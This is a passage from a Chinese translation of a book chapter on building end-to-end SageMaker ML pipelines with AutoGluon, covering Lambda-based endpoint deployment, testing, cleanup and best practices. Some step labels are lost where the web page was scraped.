deploy_source_uri = script_uris.retrieve(
model_id=model_id,
model_version="*",
script_scope="inference"
)
-
使用
aws s3 cp
命令将sourcedir.tar.gz
文件下载到tmp
目录:!aws s3 cp {deploy_source_uri} tmp/sourcedir.tar.gz
-
接下来,将
tmp
目录中的sourcedir.tar.gz
文件上传到你的 S3 桶:updated_source_uri = f's3://{s3_bucket}/{prefix}' + \
'/sourcedir/sourcedir.tar.gz'
!aws s3 cp tmp/sourcedir.tar.gz {updated_source_uri}
-
让我们定义
random_string()
函数:import uuid
def random_string():
return uuid.uuid4().hex.upper()[0:6]
此函数应返回一个由 6 个字符组成的随机字母数字字符串。
-
在
deploy_image_uri
、updated_source_uri
和model_data
的值准备就绪后,我们现在可以初始化Model
对象:from sagemaker.model import Model
from sagemaker.workflow.pipeline_context import \
PipelineSession
pipeline_session = PipelineSession()
model_data = step_train \
.properties \
.ModelArtifacts \
.S3ModelArtifacts \
model = Model(image_uri=deploy_image_uri,
source_dir=updated_source_uri,
model_data=model_data,
role=role,
entry_point="inference.py",
sagemaker_session=pipeline_session,
name=random_string())
在这里,我们使用之前步骤中定义的 random_string()
函数作为 Model
对象的名称标识符。
-
接下来,让我们准备使用
model.register()
输出初始化的ModelStep
对象:from sagemaker.workflow.model_step import ModelStep
model_package_group_name = "AutoGluonModelGroup"
register_args = model.register(
content_types=["text/csv"],
response_types=["application/json"],
inference_instances=["ml.m5.xlarge"],
transform_instances=["ml.m5.xlarge"],
model_package_group_name=model_package_group_name,
approval_status="Approved",
)
step_model_create = ModelStep(
name="CreateModel",
step_args=register_args
)
-
现在,让我们使用之前步骤中准备的不同步骤对象初始化
Pipeline
对象:pipeline_name = f"PARTIAL-PIPELINE"
partial_pipeline = Pipeline(
name=pipeline_name,
parameters=[
input_data
],
steps=[
step_process,
step_train,
step_model_create,
],
)
-
最后,让我们使用
upsert()
方法创建我们的 ML 管道:partial_pipeline.upsert(role_arn=role)
注意
注意,upsert()
方法也可以用来更新现有的 ML 管道。
现在我们初始的管道已经准备好了,我们可以继续运行 ML 管道!
运行第一个 ML 管道
一旦初始化并创建了 Pipeline
对象,我们就可以立即使用 start()
方法运行它,这与以下代码行类似:
execution = partial_pipeline.start()
如果我们希望覆盖管道输入的默认参数(例如,使用的输入数据),我们可以在调用 start()
方法时指定参数值,类似于以下代码块:
execution = partial_pipeline.start(
parameters=dict(
RawData="<INSERT NEW SOURCE PATH>",
)
)
一旦管道执行开始,我们就可以使用 execution.wait()
等待管道运行完成。
考虑到这一点,让我们在接下来的步骤中运行我们的 ML 管道:
-
一切准备就绪后,让我们使用
start()
方法运行(部分)ML 管道:execution = partial_pipeline.start()
execution.describe()
-
让我们使用
wait()
方法等待管道完成后再继续:execution.wait()
注意
这可能需要大约 10-15 分钟才能完成。在等待时,不妨来一杯咖啡或茶!
-
运行以下代码块以获取结果模型包 ARN:
steps = execution.list_steps()
steps[0]['Metadata']['RegisterModel']['Arn']
这应该会生成一个类似于 arn:aws:sagemaker:us-west-2:<ACCOUNT ID>:model-package/autogluonmodelgroup/1
格式的 ARN。将此值复制到您的文本编辑器中。我们将在本章的 创建用于部署的 Lambda 函数 部分测试 Lambda 函数时使用此模型包 ARN。
- 在 SageMaker Studio 左侧边栏底部找到并单击三角形图标(SageMaker 资源)(如图 11.10 所示):
图 11.10 – 打开 SageMaker 资源窗格
这应该会打开 SageMaker 资源 窗格,我们可以在此查看和检查各种 SageMaker 资源。
-
在 SageMaker 资源 窗格的下拉菜单中选择 Pipelines。
-
然后,双击映射到我们刚刚创建的
PARTIAL-PIPELINE
管道的行。之后,双击映射到调用partial_pipeline.start()
后触发的管道执行的行。 -
一旦执行完成,你应该会看到一个类似于图 11.11 所示的图表:
图 11.11 – 完成的管道执行
随意点击圆形矩形以检查每个步骤的以下详细信息:
-
输入 – 输入文件、参数和配置
-
输出 – 输出文件和指标(如果有)
-
日志 – 生成的日志
-
信息 – 任何额外的信息/元数据
-
返回到对应于
Machine Learning Pipelines with SageMaker Pipelines.ipynb
笔记本的选项卡。 -
让我们回顾一下使用
list_steps()
方法执行的(部分)流程运行步骤:execution.list_steps()
这应该返回一个映射到流程执行步骤的字典列表。
我们还没有完成!到目前为止,我们只完成了我们的机器学习流程的一半。请确保不要关闭 SageMaker Studio 中正在运行的应用程序和实例,因为我们将在稍后运行 Machine Learning Pipelines with SageMaker Pipelines.ipynb
笔记本中的更多代码块以完成我们的流程。
注意
如果你需要休息一下,你可以关闭正在运行的实例和应用程序(以管理成本),然后在开始本章的“完成端到端机器学习流程”部分之前,在 Machine Learning Pipelines with SageMaker Pipelines.ipynb
笔记本中再次运行所有单元格。
创建用于部署的 Lambda 函数
我们的第二个(更完整的流程)将需要一些额外的资源来帮助我们部署我们的机器学习模型。在本节中,我们将创建以下 Lambda 函数:
-
check-if-endpoint-exists
– 这是一个 Lambda 函数,它接受机器学习推理端点的名称作为输入,如果端点已存在,则返回True
。 -
deploy-model-to-new-endpoint
– 这是一个 Lambda 函数,它接受模型包 ARN 作为输入(以及角色和端点名称),并将模型部署到新的推理端点 -
deploy-model-to-existing-endpoint
– 这是一个 Lambda 函数,它接受模型包 ARN 作为输入(以及角色和端点名称),并将模型部署到现有的推理端点(通过更新 ML 实例内部的已部署模型)
我们将在“完成端到端机器学习流程”部分使用这些函数来部署我们将注册到 SageMaker 模型注册表的机器学习模型(使用 ModelStep
)。
准备 Lambda 函数以将模型部署到新的端点
我们将创建的第一个 AWS Lambda 函数将被配置和编程为将模型部署到新的端点。为了帮助我们可视化我们的函数将如何工作,让我们快速查看 图 11.12:
图 11.12 – 将模型部署到新的端点
此函数将接受以下输入参数:IAM 角色、端点名称和模型包 ARN。在接收到这些输入参数后,该函数将创建部署模型(从模型包)到新的 ML 推理端点所需的相应资源集。
在接下来的步骤中,我们将创建一个 Lambda 函数,我们将使用它来部署一个 ML 模型到新的推理端点:
- 导航到 AWS 管理控制台的搜索栏中的
lambda
,然后从搜索结果列表中点击 Lambda 链接。
注意
在本章中,我们将创建并管理我们在 us-west-2
区域的资源。在继续下一步之前,请确保您已设置正确的区域。
-
定位并点击
deploy-model-to-new-endpoint
-
Python 3.9
-
权限 > 更改默认执行角色
-
使用现有角色
-
pipeline-lambda-role
-
滚动到页面底部,然后点击 创建函数 按钮。
注意
在点击 创建函数 按钮后,您应该会看到以下成功通知:成功创建了函数 deploy-model-to-new-endpoint。您现在可以更改其代码和配置。要使用测试事件调用您的函数,请选择 测试。
-
导航到
1024
MB -
15
分钟0
秒
之后,点击 保存 按钮。
-
在另一个浏览器标签页中打开以下链接:
raw.githubusercontent.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/main/chapter11/utils.py
。使用 Ctrl + A 和然后 Ctrl + C(或者,如果您使用的是 Mac,则使用 CMD + A 和然后 CMD + C)将页面内容复制到您的剪贴板。 -
在显示 Lambda 控制台的浏览器选项卡中,导航到
Untitled1
。 -
在新标签页(不包含代码)中,粘贴复制到剪贴板的代码。以 文件名 字段值打开
utils.py
,然后点击 保存。 -
导航到可以修改
lambda_function.py
内部代码的选项卡。在继续之前,删除当前存储在lambda_function.py
中的模板代码。
注意
输入(或复制)以下步骤中 lambda_function.py
内的代码块。您可以在 github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter11/deploy-model-to-new-endpoint.py
找到 Lambda 函数的代码副本。
-
在
lambda_function.py
文件中,导入我们将需要用于将训练好的 ML 模型部署到新的 ML 推理端点的函数:import json
from utils import (
create_model,
create_endpoint_config,
create_endpoint,
random_string,
block
)
-
现在,让我们定义
lambda_handler()
函数:def lambda_handler(event, context):
role = event['role']
endpoint_name = event['endpoint_name']
package_arn = event['package_arn']
model_name = 'model-' + random_string()
with block('CREATE MODEL'):
create_model(
model_name=model_name,
package_arn=package_arn,
role=role
)
with block('CREATE ENDPOINT CONFIG'):
endpoint_config_name = create_endpoint_config(
model_name
)
with block('CREATE ENDPOINT'):
create_endpoint(
endpoint_name=endpoint_name,
endpoint_config_name=endpoint_config_name
)
return {
'statusCode': 200,
'body': json.dumps(event),
'model': model_name
}
-
点击 部署 按钮。
-
点击 测试 按钮。
-
在 事件名称 下的
test
中,然后在 事件 JSON 下指定以下 JSON 值:{
"role": "<INSERT SAGEMAKER EXECUTION ROLE ARN>",
"endpoint_name": "AutoGluonEndpoint",
"package_arn": "<INSERT MODEL PACKAGE ARN>"
}
确保替换以下值:
-
<插入 SageMaker 执行角色 ARN>
– 将此占位符值替换为arn:aws:iam::1234567890:role/service-role/AmazonSageMaker-ExecutionRole-20220000T000000
。 -
<INSERT MODEL PACKAGE ARN>
– 将此占位符值替换为arn:aws:sagemaker:us-west-2:1234567890:model-package/autogluonmodelgroup/1
。
-
将此测试事件 JSON 值复制到您本地机器上的文本编辑器中。我们将在测试我们的
deploy-model-to-existing-endpoint
Lambda 函数时再次使用此测试事件 JSON。 -
之后,点击保存按钮。
-
一切准备就绪后,让我们点击测试按钮。这应该会在几分钟后打开一个新标签页,显示执行结果。
注意
此步骤可能需要 5-15 分钟才能完成。您可以随意拿一杯咖啡或茶!
- 在等待期间,向上滚动并找到函数概述面板。将函数 ARN值复制到您的文本编辑器中。我们将在本章的完成端到端 ML 管道部分稍后使用此函数 ARN值。
一旦deploy-model-to-new-endpoint
Lambda 函数运行完成,我们应该已经在 ML 推理端点中部署了我们的 ML 模型。请注意,我们只是在测试 Lambda 函数,我们将在运行完整的 ML 管道之前,在稍后的步骤中删除由deploy-model-to-new-endpoint
Lambda 函数启动的 ML 推理端点。
准备 Lambda 函数以检查是否存在端点
我们将要创建的第二个AWS Lambda函数将配置和编程为检查是否存在端点(给定端点名称)。为了帮助我们可视化我们的函数将如何工作,让我们快速查看图 11.13:
图 11.13 – 检查是否存在端点
此功能将接受一个输入参数——ML 推理端点的名称。在接收到输入参数后,该功能将使用boto3
库列出该区域中所有正在运行的端点,并检查这些端点中是否有名称与输入参数值匹配。
在接下来的步骤中,我们将创建一个 Lambda 函数,我们将使用它来检查是否存在 ML 推理端点:
-
打开一个新的浏览器标签页,导航到 Lambda 管理控制台的函数页面。
-
定位并点击位于函数页面左上角的创建函数按钮,然后指定以下配置值:
-
从头开始编写
-
check-if-endpoint-exists
-
Python 3.9
-
权限 > 更改默认执行角色
-
使用现有角色
-
pipeline-lambda-role
-
-
滚动到页面底部,然后点击创建函数按钮。
注意
将代码块(或复制)输入到 lambda_function.py
中的后续步骤中。您可以在以下位置找到 Lambda 函数的代码副本:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter11/check-if-endpoint-exists.py
。
-
在
lambda_function.py
文件中,导入boto3
并初始化 SageMaker 服务的客户端:import boto3
sm_client = boto3.client('sagemaker')
-
接下来,让我们定义
endpoint_exists()
函数:def endpoint_exists(endpoint_name):
response = sm_client.list_endpoints(
NameContains=endpoint_name
)
results = list(
filter(
lambda x: \
x['EndpointName'] == endpoint_name,
response['Endpoints']
)
)
return len(results) > 0
-
现在,让我们定义
lambda_handler()
函数,该函数使用endpoint_exists()
函数来检查是否存在 ML 推理端点(给定端点名称):def lambda_handler(event, context):
endpoint_name = event['endpoint_name']
return {
'endpoint_exists': endpoint_exists(
endpoint_name=endpoint_name
)
}
-
点击 部署 按钮。
-
点击 事件名称 下的
test
,然后在 事件 JSON 下指定以下 JSON 值:{
"endpoint_name": "AutoGluonEndpoint"
}
-
之后,点击 保存 按钮。
-
一切准备就绪后,让我们点击 测试 按钮。这应该会打开一个新标签页,几秒钟后显示执行结果。测试 Lambda 函数后,我们应该得到以下响应值:
{
"endpoint_exists": true
}
-
最后,向上滚动并定位到 函数概述 面板。将 函数 ARN 值复制到您的文本编辑器中。我们将在本章的 完成端到端 ML 管道 部分中使用此 函数 ARN 值。
现在我们已经完成了 check-if-endpoint-exists
Lambda 函数的准备和测试,我们可以继续创建最后一个 Lambda 函数 (deploy-model-to-existing-endpoint
)。
准备 Lambda 函数以部署模型到现有端点
我们将要创建的第三个 AWS Lambda 函数将被配置和编程,以便将模型部署到现有端点。为了帮助我们可视化函数的工作方式,让我们快速查看 图 11.14:
图 11.14 – 将模型部署到现有端点
此函数将接受三个输入参数——一个 IAM 角色、端点名称和模型包 ARN。在接收到这些输入参数后,该函数将执行必要的步骤,将模型包中提供的模型更新到现有 ML 推理端点中部署的模型。
在下一组步骤中,我们将创建一个 Lambda 函数,我们将使用它来部署 ML 模型到现有的推理端点:
-
打开一个新的浏览器标签页,并导航到 Lambda 管理控制台的 函数 页面。
-
定位并点击位于 函数 页面左上角的 创建函数 按钮,然后指定以下配置值:
-
从头开始作者
-
deploy-model-to-existing-endpoint
-
Python 3.9
-
权限 > 更改默认执行角色
-
使用现有角色
-
pipeline-lambda-role
-
-
滚动到页面底部,然后点击 创建函数 按钮。
-
导航到
1024
MB -
15
分钟0
秒 -
然后,点击 保存 按钮。
-
在另一个浏览器标签页中打开以下链接:
raw.githubusercontent.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/main/chapter11/utils.py
。使用 Ctrl + A 然后按 Ctrl + C(或者,如果您使用的是 Mac,则按 CMD + A 然后按 CMD + C)将页面内容复制到您的剪贴板。 -
在显示 Lambda 控制台的浏览器标签页中,导航到
Untitled1
。在新标签页(不包含代码)中,粘贴复制到剪贴板中的代码。 -
将
utils.py
作为 文件名 字段值打开,然后点击 保存。 -
导航到可以修改
lambda_function.py
内代码的选项卡。在继续之前,删除lambda_function.py
中当前存储的样板代码。
注意
在接下来的步骤中,在 lambda_function.py
文件内(或复制)代码块。你可以在 github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter11/deploy-model-to-existing-endpoint.py
找到 Lambda 函数的代码副本。
-
在
lambda_function.py
文件中,导入我们将需要更新现有端点部署模型的函数:import json
from utils import (
create_model,
create_endpoint_config,
update_endpoint,
random_string,
block
)
-
现在,让我们使用以下代码块定义
lambda_handler()
函数:def lambda_handler(event, context):
role = event['role']
endpoint_name = event['endpoint_name']
package_arn = event['package_arn']
model_name = 'model-' + random_string()
with block('CREATE MODEL'):
create_model(
model_name=model_name,
package_arn=package_arn,
role=role
)
with block('CREATE ENDPOINT CONFIG'):
endpoint_config_name = create_endpoint_config(
model_name
)
with block('UPDATE ENDPOINT'):
update_endpoint(
endpoint_name=endpoint_name,
endpoint_config_name=endpoint_config_name
)
return {
'statusCode': 200,
'body': json.dumps(event),
'model': model_name
}
-
点击 部署 按钮。
-
点击 事件名称 下的
test
,然后在 事件 JSON 下指定以下 JSON 值:{
"role": "<INSERT SAGEMAKER EXECUTION ROLE ARN>",
"endpoint_name": "AutoGluonEndpoint",
"package_arn": "<INSERT MODEL PACKAGE ARN>"
}
确保替换以下值:
-
<INSERT SAGEMAKER EXECUTION ROLE ARN>
– 将此占位符值替换为本章 准备基本先决条件 部分中复制到您的文本编辑器的 执行角色 ARN。 -
<INSERT MODEL PACKAGE ARN>
– 将此占位符值替换为本章 使用 SageMaker Pipelines 运行第一个管道 部分中复制到您的文本编辑器的 模型包 ARN。
此外,您还可以使用我们在测试 deploy-model-to-new-endpoint
Lambda 函数时复制到文本编辑器的相同的测试事件 JSON 值。
-
然后,点击 保存 按钮。
-
一切准备就绪后,让我们点击 测试 按钮。这应该会在几分钟后打开一个新标签页,显示执行结果。
注意
此步骤可能需要 5-15 分钟才能完成。请随意拿一杯咖啡或茶!
- 在等待的同时,向上滚动并找到 函数概览 选项卡。将 函数 ARN 值复制到您的文本编辑器中。我们将在本章的 完成端到端 ML 管道 部分使用此 函数 ARN 值。
在所有 Lambda 函数都准备就绪后,我们现在可以开始测试我们的 ML 推理端点(在完成端到端 ML 管道之前)。
注意
到目前为止,我们应该有 3 个check-if-endpoint-exists
Lambda 函数、deploy-model-to-new-endpoint
Lambda 函数和deploy-model-to-existing-endpoint
Lambda 函数。我们将在本章的“完成端到端机器学习管道”部分中使用这些 ARN 值。
测试我们的机器学习推理端点
当然,我们需要检查机器学习推理端点是否工作!在接下来的步骤中,我们将下载并运行一个 Jupyter 笔记本(命名为Test Endpoint and then Delete.ipynb
),使用测试数据集来测试我们的机器学习推理端点:
-
首先,在另一个浏览器标签页中打开以下链接:
bit.ly/3xyVAXz
-
右键单击页面上的任何部分以打开上下文菜单,然后选择
Test Endpoint then Delete.ipynb
,然后将其下载到您的本地机器上的下载
文件夹(或类似位置)。 -
返回到您的
CH11
文件夹,类似于图 11.15 中的内容:
图 11.15 – 上传测试端点和 Delete.ipynb 文件
- 点击上传按钮(如图 11.15 所示),然后选择我们在早期步骤中下载的
Test Endpoint then Delete.ipynb
文件。
注意
这应该会将您的本地机器上的Test Endpoint then Delete.ipynb
笔记本文件上传到 SageMaker Studio 环境中的CH11
文件夹。
-
双击文件树中的
Test Endpoint then Delete.ipynb
文件以在主工作区(包含打开的笔记本、文件和终端的标签页)中打开笔记本。 -
更新第一个单元格,使用在
Machine Learning Pipelines with SageMaker Pipelines.ipynb
笔记本中使用的 S3 桶名称:s3_bucket = '<INSERT S3 BUCKET HERE>'
确保将<在此处插入 S3 桶名称>
替换为我们在本章“准备基本先决条件”部分的文本编辑器中复制的 S3 桶名称。
- 打开
Test Endpoint then Delete.ipynb
笔记本。
注意
运行 Jupyter 笔记本中的所有单元格大约需要 1-2 分钟。等待时,不妨拿一杯咖啡或茶!
-
一旦
Test Endpoint then Delete.ipynb
笔记本中的所有单元格都已执行,找到包含以下代码块(以及返回的输出)的单元格:from sklearn.metrics import accuracy_score
accuracy_score(actual_list, predicted_list)
验证模型是否得到了等于或接近0.88
(或 88%)的准确率。
到目前为止,由于Test Endpoint then Delete.ipynb
Jupyter 笔记本在计算机器学习模型指标后也运行了predictor.delete_endpoint()
行,因此机器学习推理端点应该处于已删除状态。
完成端到端机器学习管道
在本节中,我们将在本章的使用 SageMaker Pipelines 运行我们的第一个流水线部分中准备的(部分)流水线的基础上进行构建。除了用于构建我们的部分流水线的步骤和资源外,我们还将利用我们在创建用于部署的 Lambda 函数部分中创建的 Lambda 函数来完成我们的机器学习流水线。
定义和准备完整的机器学习流水线
我们将要准备的第二个流水线将比第一个流水线稍长。为了帮助我们可视化使用SageMaker Pipelines的第二个机器学习流水线将看起来如何,让我们快速查看图 11.16:
图 11.16 – 使用 SageMaker Pipelines 的第二个机器学习流水线
在这里,我们可以看到我们的流水线接受两个输入参数——输入数据集和端点名称。当流水线运行时,输入数据集首先被分割成训练集、验证集和测试集。然后,训练集和验证集被用来训练一个机器学习模型,该模型随后被注册到SageMaker 模型注册表。之后,流水线检查是否存在具有提供的端点名称的机器学习推理端点。如果端点尚不存在,则将模型部署到新的端点。否则,将使用在流水线执行期间训练的模型更新具有提供的端点名称的现有端点的模型。
在接下来的步骤中,我们将使用在Machine Learning Pipelines with SageMaker Pipelines.ipynb
笔记本中配置的步骤和资源来创建一个新的机器学习流水线:
- 返回到对应于
Machine Learning Pipelines with SageMaker Pipelines.ipynb
笔记本的标签页。
注意
我们将在Machine Learning Pipelines with SageMaker Pipelines.ipynb
笔记本中(在现有的单元格集之后)运行后续步骤中的代码块。如果你在使用 SageMaker Pipelines 运行我们的第一个流水线部分运行命令后关闭了内核和/或 SageMaker Studio 实例,请确保通过选择运行所有单元格从运行菜单下的选项列表中再次运行所有单元格(并等待流水线完成运行)。
-
让我们初始化映射到机器学习推理端点名称(在机器学习流水线运行完成后将创建或更新)的
Pipeline
参数的ParameterString
对象:input_endpoint_name = ParameterString(
name="EndpointName",
default_value=f'AutoGluonEndpoint',
)
-
接下来,让我们导入我们将需要以完成端到端机器学习流水线的类:
from sagemaker.workflow.lambda_step import (
LambdaStep,
LambdaOutput,
LambdaOutputTypeEnum
)
from sagemaker.lambda_helper import (
Lambda
)
from sagemaker.workflow.conditions import (
ConditionEquals
)
from sagemaker.workflow.condition_step import (
ConditionStep,
JsonGet
)
-
准备将映射到
LambdaStep
对象输出的LambdaOutput
对象:output_endpoint_exists = LambdaOutput(
output_name="endpoint_exists",
output_type=LambdaOutputTypeEnum.Boolean
)
-
初始化映射到检查指定机器学习推理端点是否已存在的 Lambda 函数的
LambdaStep
对象(给定端点名称):package_arn = step_model_create \
.properties.ModelPackageArn
endpoint_exists_lambda = LambdaStep(
name="CheckIfEndpointExists",
lambda_func=Lambda(
function_arn="<INSERT FUNCTION ARN>"
),
inputs={
"endpoint_name": input_endpoint_name,
"package_arn": package_arn
},
outputs=[output_endpoint_exists]
)
确保将<INSERT FUNCTION ARN>
替换为我们复制到文本编辑器的check-if-endpoint-exists
Lambda 函数的 ARN。其格式应类似于arn:aws:lambda:us-west-2:<ACCOUNT ID>:function:check-if-endpoint-exists
。
-
接下来,初始化
LambdaStep
对象,它映射到将训练好的 ML 模型部署到现有 ML 推理端点的 Lambda 函数:step_lambda_deploy_to_existing_endpoint = LambdaStep(
name="DeployToExistingEndpoint",
lambda_func=Lambda(
function_arn="<INSERT FUNCTION ARN>"
),
inputs={
"role": role,
"endpoint_name": input_endpoint_name,
"package_arn": package_arn
},
outputs=[]
)
确保将<INSERT FUNCTION ARN>
替换为我们复制到文本编辑器的deploy-model-to-existing-endpoint
Lambda 函数的 ARN。其格式应类似于arn:aws:lambda:us-west-2:<ACCOUNT ID>:function:
deploy-model-to-existing-endpoint
。
-
之后,初始化映射到将训练好的 ML 模型部署到新 ML 推理端点的 Lambda 函数的
LambdaStep
对象:step_lambda_deploy_to_new_endpoint = LambdaStep(
name="DeployToNewEndpoint",
lambda_func=Lambda(
function_arn="<INSERT FUNCTION ARN>"
),
inputs={
"role": role,
"endpoint_name": input_endpoint_name,
"package_arn": package_arn
},
outputs=[]
)
确保将<INSERT FUNCTION ARN>
替换为我们复制到文本编辑器的deploy-model-to-new-endpoint
Lambda 函数的 ARN。其格式应类似于arn:aws:lambda:us-west-2:<ACCOUNT ID>:function: deploy-model-to-new-endpoint
。
-
在准备好三个
LambdaStep
对象后,让我们准备ConditionStep
对象,该对象检查端点是否已经存在(使用endpoint_exists_lambda
LambdaStep
对象的输出):left = endpoint_exists_lambda \
.properties \
.Outputs['endpoint_exists']
cond_equals = ConditionEquals(
left=left,
right=True
)
if_steps = [step_lambda_deploy_to_existing_endpoint]
else_steps = [step_lambda_deploy_to_new_endpoint]
step_endpoint_exists_condition = ConditionStep(
name="EndpointExists",
conditions=[cond_equals],
if_steps=if_steps,
else_steps=else_steps
)
此步骤告诉 ML 管道执行以下操作:
-
如果端点尚不存在,请将模型部署到新端点。
-
如果端点已经存在,请将模型部署到现有端点。
为了帮助我们可视化如何配置ConditionStep
对象,让我们快速查看图 11.17:
图 11.17 – 配置和准备 ConditionStep 对象
在这里,我们可以看到ConditionStep
对象是用几个参数初始化的——conditions
、if_steps
和else_steps
(除了端点的name
)。如果EndpointExists
LambdaStep
返回True
,则执行DeployToExistingEndpoint
LambdaStep
。否则,将执行DeployToNewEndpoint
LambdaStep
。
-
在所有步骤都准备好后,让我们使用我们准备的不同步骤对象初始化一个新的
Pipeline
对象:pipeline_name = f"COMPLETE-PIPELINE"
complete_pipeline = Pipeline(
name=pipeline_name,
parameters=[
input_data,
input_endpoint_name
],
steps=[
step_process,
step_train,
step_model_create,
endpoint_exists_lambda,
step_endpoint_exists_condition
],
)
complete_pipeline.upsert(role_arn=role)
注意,这个管道与我们在本章使用 SageMaker Pipelines 运行我们的第一个管道部分准备的(部分)管道不同且独立。一旦我们在下一节运行它,我们应该看到这个管道有更多额外的步骤。
运行完整的 ML 管道
一切准备就绪后,我们现在可以运行我们的端到端 ML 管道。与我们在本章使用 SageMaker Pipelines 运行我们的第一个管道部分执行的(部分)管道相比,我们的(完整)管道允许我们指定 ML 推理端点的可选名称(注意:不要运行以下代码块):
execution = complete_pipeline.start(
parameters=dict(
EndpointName="<INSERT NEW ENDPOINT NAME>",
)
)
如果未指定端点名称,则在流程执行期间使用默认端点名称值(即 AutoGluonEndpoint
)。
在接下来的步骤中,我们将运行我们的流程,等待它将训练好的 ML 模型部署到新的推理端点,然后使用测试数据集测试部署的模型:
-
在运行
Machine Learning Pipelines with SageMaker Pipelines.ipynb
笔记本中的最后一块代码后,继续进行,让我们使用以下代码块运行端到端 ML 流程:execution = complete_pipeline.start()
execution.describe()
-
接下来,让我们使用
wait()
方法等待整个流程完成:execution.wait()
注意
流程执行应大约需要 15-30 分钟才能完成。在等待时,不妨拿一杯咖啡或茶!
-
在等待期间,找到并点击 SageMaker Studio 左侧边栏底部的三角形图标(SageMaker 资源)。这应该会打开 SageMaker 资源面板,在那里我们可以查看和检查各种 SageMaker 资源。
-
从 SageMaker 资源面板下拉菜单中的选项列表中选择 Pipelines。
-
然后,双击映射到我们刚刚创建的
COMPLETE-PIPELINE
流程的行。之后,双击映射到我们触发的流程执行的行。你应该会看到一个类似于 图 11.18 中所示的图形:
图 11.18 – ML 流程目前正在运行 TrainModel 步骤
在这里,我们可以看到与本章 运行我们的第一个 SageMaker Pipelines 流程 部分的 PARTIAL-PIPELINE 流程相比,COMPLETE-PIPELINE
流程有更多的步骤。
- 几分钟后,图形应该会有更多完成的步骤,类似于我们在 图 11.19 中看到的:
图 11.19 – ML 流程继续执行 DeployToNewEndpoint 步骤
在这里,我们可以看到,由于 ML 端点尚未存在(因为我们之前在运行 Test Endpoint then Delete.ipynb
笔记本时删除了它),ML 流程继续执行 DeployToNewEndpoint 步骤。请注意,对于后续运行,如果 ML 端点已经存在,则应运行 DeployToExistingEndpoint 步骤。
重要提示
确保执行角色(如果遇到在运行 Lambda 函数时出现的以下错误:ClientError: 用户:AWSLambda_FullAccess
权限策略)正确设置。如有需要,请查阅本章的 准备基本先决条件 部分,以获取如何更新执行角色权限的逐步说明。
-
等待流水线执行完成。一旦流水线运行完成,我们的 AutoGluon 模型应该部署在一个机器学习推理端点(命名为
AutoGluonEndpoint
)内部。 -
返回到对应于
Test Endpoint then Delete.ipynb
笔记本的标签页。打开Test Endpoint then Delete.ipynb
笔记本。请注意,在笔记本中运行所有单元格后,也会删除现有的机器学习推理端点(命名为AutoGluonEndpoint
)。
备注
运行 Jupyter 笔记本中的所有单元格可能需要 1-2 分钟。在等待时,不妨拿一杯咖啡或茶!
-
一旦
Test Endpoint then Delete.ipynb
笔记本中的所有单元格都已执行,找到包含以下代码块(以及返回的输出)的单元格:from sklearn.metrics import accuracy_score
accuracy_score(actual_list, predicted_list)
确认我们的模型获得了等于或接近0.88
(或 88%)的准确率分数。请注意,这应该与我们本章测试我们的机器学习推理端点部分中获得的分数相似。
我们可以用这个流水线做什么? 通过为每次流水线运行指定不同的端点名称,我们能够训练和部署模型到多个端点。这应该有助于我们处理需要为不同环境(例如生产
和预发布
环境)管理专门的机器学习推理端点的情况。例如,我们可以同时运行两个机器学习推理端点——AutoGluonEndpoint-production
和AutoGluonEndpoint-staging
。如果我们希望从新的数据集中生成一个新的模型,我们可以触发流水线运行并指定预发布
环境的端点名称而不是生产
环境。这将帮助我们测试和验证在预发布
环境中部署的新模型的质量,并确保生产
环境始终保持稳定状态。一旦我们需要更新生产
环境,我们只需简单地触发另一个流水线运行,并在训练和部署新模型时指定与生产
环境关联的端点名称。
备注
有几种方式来管理这类部署,这是机器学习工程师和数据科学家可用的选项之一。
大概就是这样!恭喜你能够完成一个相对更复杂的机器学习流水线!我们在这个章节中完成了很多工作,我们应该准备好设计和构建我们自己的定制流水线。
清理
现在我们已经完成了本章动手实践的解决方案,是时候清理并关闭我们将不再使用的资源了。在接下来的步骤中,我们将定位并关闭SageMaker Studio中任何剩余的运行实例:
-
确保检查并删除 SageMaker 资源 下的所有运行推理端点(如果有)。要检查是否有运行中的推理端点,请单击 SageMaker 资源 图标,然后从下拉菜单中选择 端点。
-
打开 文件 菜单,从可用选项中选择 关闭。这应该会关闭 SageMaker Studio 内的所有运行实例。
需要注意的是,这个清理操作需要在使用 SageMaker Studio 后执行。即使在不活跃期间,SageMaker 也不会自动关闭这些资源。在进入下一节之前,请确保已检查所有删除操作是否成功。
注意
随意清理并删除 AWS 账户中的其他所有资源(例如,我们创建的 Cloud9 环境、VPC 和 Lambda 函数)。
推荐的策略和最佳实践
在我们结束本章(以及本书)之前,让我们快速讨论一些使用 SageMaker Pipelines 准备自动化 ML 工作流程时推荐的策略和最佳实践。我们可以在管道的初始版本中做出哪些改进?以下是一些我们可以实施的可能的升级,以使我们的设置更具可扩展性、更安全,并且能够更好地处理不同类型的 ML 和 ML 工程需求:
-
在创建时配置和设置 ML 推理端点的 自动扩展(自动缩放),以动态调整用于处理传入流量(ML 推理请求)的资源数量。
-
允许 ML 模型也部署在 无服务器 和 异步 端点(根据额外的管道输入参数的值)上,以帮助为各种用例提供额外的模型部署选项。
-
在管道中添加一个额外的步骤(或多个步骤),该步骤会自动使用测试集评估训练好的 ML 模型,如果目标指标值低于指定的阈值分数,则拒绝部署该模型。
-
在管道中添加一个额外的步骤,使用 SageMaker Clarify 检查偏差和漂移。
-
通过 Amazon EventBridge(例如,在 Amazon S3 存储桶中上传文件)发生事件时触发管道执行。
-
缓存特定的管道步骤以加快重复的管道执行。
-
利用 重试策略在管道执行期间发生异常和错误时自动重试特定的管道步骤。
-
使用 SageMaker Pipelines 与 SageMaker Projects 一起构建完整的 ML 工作流程,这可能涉及 CI/CD 功能(使用 AWS 服务,如 AWS CodeCommit 和 AWS CodePipeline)。
-
更新本章中使用的 IAM 角色权限集,以更严格的权限集来提高设置的安全性。
-
为了管理运行 SageMaker 资源的长期成本,我们可以利用机器学习节省计划,这涉及在做出长期承诺(例如,1 年或 3 年的承诺)后降低运行资源的总体成本
我们还可以添加更多内容到这个列表中,但这些都足够现在使用了!确保你审查并检查了在第九章“安全、治理和合规策略”中分享的推荐解决方案和策略。
摘要
